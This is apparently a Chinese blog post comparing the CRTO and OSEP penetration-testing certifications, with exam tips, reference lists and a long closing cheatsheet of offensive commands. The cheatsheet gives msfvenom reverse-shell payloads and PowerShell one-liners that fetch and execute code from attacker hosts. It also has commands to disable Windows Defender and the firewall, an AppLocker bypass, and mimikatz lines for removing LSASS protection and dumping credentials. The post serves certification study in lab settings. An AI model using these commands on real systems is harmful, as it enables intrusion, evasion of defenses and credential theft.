简介 & 区别

都是涉及AD的高级渗透,重合度很高,也存在一些区别

  • CRTO主要使用CS,而OSEP是禁止CS这类商业软件
  • CRTO的免杀直接用CS的arsenal-kit,OSEP的免杀要自己做
  • CRTO不讲原理,需要自己额外补充,OSEP讲的很细节
  • CRTO的考试环境和OSEP比起来小很多
  • CRTO一直在解释OPSEC,提供有ELK同步分析攻击行为产生的日志,OSEP不涉及这部分内容
  • CRTO的内容和OSEP相比多了ADCS,OSEP至今没更新这方面的内容

考试

CRTO

CRTO的考试是假定违规场景,从一个内鬼机器开始(所以这个机器是需要提权的),4个自然日内48小时lab时间,没有监考,可以自己随时暂停,只要做好凭据收集权限维持这些,确保能随时继续就可以。通过标准是6/8,基本就是3个域8台机器,部分机器需要枚举提权。并且只需要简单记录提交flag即可,不需要写报告,考试结果在考试的4个自然日结束后自动出。

OSEP

OSEP也是48小时考试,但是是连续的48小时,有监考并且考试结束后需要在24小时内提交报告。考试环境就是比CRTO更大更复杂(20台左右)。黑盒场景,只给两个外部入口,自己想办法打进内网,进行枚举以及横向。考试有两种通过方式,一种是拿到最终核心secret.txt,另一种是累积获取10个flag(总量高于10个),local或者proof这种。攻击路径也是不止一条,一条路走不通换其他路径。

考试可以随意使用开源C2,但msf就够用了。

一个小坑,对于local.txt,Linux还好,就是直接翻用户目录。challenge里windows机器IIS,MSSQL这些拿到的local是在对应目录下,例如IIS的inetpub,但考试是在Public用户目录下的,所以注意别遗漏

考试准备

考试环境就是Defender,提前准备好不同类型的免杀runner,例如:

  • 直接上线的exe
  • Applocker + CLM Bypass的exe
  • amsi绕过
  • powershell shellcode runner
  • office macro
  • hta runner

另外准备好自己习惯的cheatsheet,我用的放后面commands了

tools

static的nmap,拿下入口机后通过入口机来探测内网,比通过代理稳很多

1
2
3
4
5
# powershell unzip
Expand-Archive C:\a.zip -DestinationPath C:\a

# linux tar
tar -xf nmap-7.91SVN-x86_64-portable.tar.gz

也有一些整理好的工具:

参考资料

blog

系列

GOAD

环境加配套wp:

AV Evasion By Hop Infosec

Malware Dev By 0pr

Active Directory By 0pr

域渗透GOAD(Game Of Active Directory) v2

codes

CheatSheet

reviews

这个方向的就很多了,只放22和23年的:

2023

2022

中文

commands

经常用的一些命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
# 初始nmap扫描,记得加-Pn参数
sudo nmap -A -Pn 192.168.xx.xx

# DotNetToJScript
DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo.js

# msf handler
# hander设置AutoRunScript,自动迁移到稳定进程
set AutoRunScript "migrate -n explorer.exe"
# 找不到explorer的情况下,尽快创建并迁移
meterpreter > execute -H -f notepad
Process 1196 created.
meterpreter > migrate 1196

# Linux msfvenom,prependfork参数
sudo msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 prependfork=true -f elf -t 300 -e x64/xor_dynamic -o test.elf
# linux,fork类似windows的migrate
set MeterpreterTryToFork true

# 高级可选项
# 自定义https证书
set HandlerSSLCert /home/kali/self_cert/nasa.pem
# stage 编码
set EnableStageEncoding true
set StageEncoder x64/zutto_dekiru
or
set StageEncoder x64/xor_dynamic

# 检查防御措施
# powershell CLM 检查
$ExecutionContext.SessionState.LanguageMode
# PPL检查
Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name "RunAsPPL"
# AppLocker检查
Get-ChildItem -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Exe

# powershell加载运行脚本
(New-Object Net.WebClient).DownloadString('http://192.168.xx.xx/run.txt') | iex

# 下载文件
powershell -exec bypass -c "iwr http://192.168.xx.xx/mimikatz_2.2.0.exe -outfile mimikatz.exe"

# powershell 反射加载运行 C# exe
# 没有public
$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.xx.xx/rev.exe')
$asm = [System.Reflection.Assembly]::Load($data)
# 无参数运行
$asm.EntryPoint.Invoke($null,[Object[]]@(,[String[]]@()))
# 带参数运行,处理
$al = New-Object -TypeName System.Collections.ArrayList
$al.Add("list_token bypass".Split())
$asm.EntryPoint.Invoke($null, $al.ToArray())

# public static
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/rev.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[rev.Program]::Main("".Split())

# Applocker 使用installutil绕过
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Windows\Tasks\Bypass.exe

# 直接运行command,不进入powerhsell交互
powershell -exec bypass -c "command"

# 关闭defender
Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -Verbose
# 添加白名单目录
Add-MpPreference -ExclusionPath 'C:\Windows\Tasks'
# 删除所有规则
C:\"Program Files"\"Windows Defender"\MpCmdRun.exe -removedefinitions -all

# 关闭防火墙
NetSh Advfirewall set allprofiles state off

# 允许远程桌面PTH
powershell -c "New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name DisableRestrictedAdmin -value 0"
# xfreerdp pth,加额外参数
xfreerdp /v:172.16.xx.xx /u:administrator /pth:xxxxxxxx

# sshuttle打通隧道
sshuttle -v -r root@192.168.xx.xx 172.16.xx.0/24

# psexec启动system上下文
PsExec64.exe -accepteula -s -i cmd.exe

# MSSQL
impacket mssqlclient.py
# 不是kali里自带的impacket-mssqlclient,版本太老缺少增强功能

# mimikatz & kiwi
# lsa patch & dump
mimikatz.exe "privilege::debug" "!+" "!processprotect /process:lsass.exe /remove" "sekurlsa::logonpasswords" "exit"
mimikatz.exe "privilege::debug" "lsadump::lsa /patch" "exit"
mimikatz.exe "token::elevate" "lsadump::secrets" "exit"
# meterpreter dump
meterpreter > hashdump
meterpreter > load kiwi
meterpreter > creds_all
meterpreter > lsa_dump_sam
meterpreter > lsa_dump_secrets

# wmic enum
# windows获取运行中的进程命令行参数
wmic process get caption,commandline /value